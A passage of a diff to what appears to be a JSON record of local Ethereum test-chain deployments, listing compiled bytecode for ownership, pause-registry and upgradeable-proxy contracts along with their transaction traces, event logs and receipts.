b9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033", - "nonce": 16, - "gas_used": 849430 - }, - "receipt": { - "type": "0x2", - "status": "0x1", - "cumulativeGasUsed": "0xcf616", - "logs": [], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" - }, - "block_hash": "0xfda166a7086f0e683b1e8e4badba566668eff15a39ce6f197edab332f603ab2d", - "block_number": 10 - }, - { - "info": { - "transaction_hash": "0x046411743d2c08a8f69f7117e4aed15eb84999f401e950cafac8436c9d2c04d8", - "transaction_index": 0, - "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "contract_address": null, - "traces": [ - { - "parent": null, - "children": [], - "idx": 0, - "trace": { - "depth": 0, - "success": true, - "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "maybe_precompile": null, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CALL", - "value": "0x0", - "data": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "output": "0x", - "gas_used": 4371, - "gas_limit": 16304, - "status": "Stop", + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CREATE", + "value": "0x0", + "data": "0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "output": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b0033", + "gas_used": 254168, + "gas_limit": 355501, + "status": "Return", "steps": [], "decoded": { "label": null, @@ -2345,11 +1943,48 @@ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" ], - "data": "0x" + "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" + ], + "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" + ], + "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" }, "decoded": { "name": null, @@ -2361,42 +1996,70 @@ "ordering": [ { "Log": 0 + }, + { + "Log": 1 + }, + { + "Log": 2 + }, + { + "Log": 3 } ] } ], - "exit": "Stop", - "out": "0x", - "nonce": 31, - "gas_used": 25803 + "exit": "Return", + "out": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b0033", + "nonce": 1, + "gas_used": 338342 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x64cb", + "cumulativeGasUsed": "0x529a6", "logs": [ { - "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" ], - "data": "0x" + "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" + }, + { + "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", + "topics": [ + "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" + ], + "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" + }, + { + "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", + "topics": [ + "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" + ], + "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" + }, + { + "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", + "topics": [ + "0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" } ], - "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000004801000000000000000" }, - "block_hash": "0x3caf5b17413ef090f10a7b4954c5619f020fbedc7d8180ed8f724f575fa8aa1a", - "block_number": 21 + "block_hash": "0x4ea0729e74d5a298116eb8b727ff38f2b4165bf543d19afc4c79f962eee391f3", + "block_number": 2 }, { "info": { - "transaction_hash": "0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278", + "transaction_hash": "0x3a179753e0b4c5cdd52b7b5c560acb08426c4082500c676cea02d0cc9a77beff", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", - "contract_address": null, + "to": null, + "contract_address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "traces": [ { "parent": null, @@ -2406,18 +2069,18 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", - "maybe_precompile": null, + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, - "kind": "CALL", + "kind": "CREATE", "value": "0x0", - "data": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "output": "0x", - "gas_used": 4364, - "gas_limit": 14198, - "status": "Stop", + "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "gas_used": 465106, + "gas_limit": 636783, + "status": "Return", "steps": [], "decoded": { "label": null, @@ -2429,9 +2092,8 @@ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], "data": "0x" }, @@ -2449,97 +2111,66 @@ ] } ], - "exit": "Stop", - "out": "0x", - "nonce": 32, - "gas_used": 25796 + "exit": "Return", + "out": 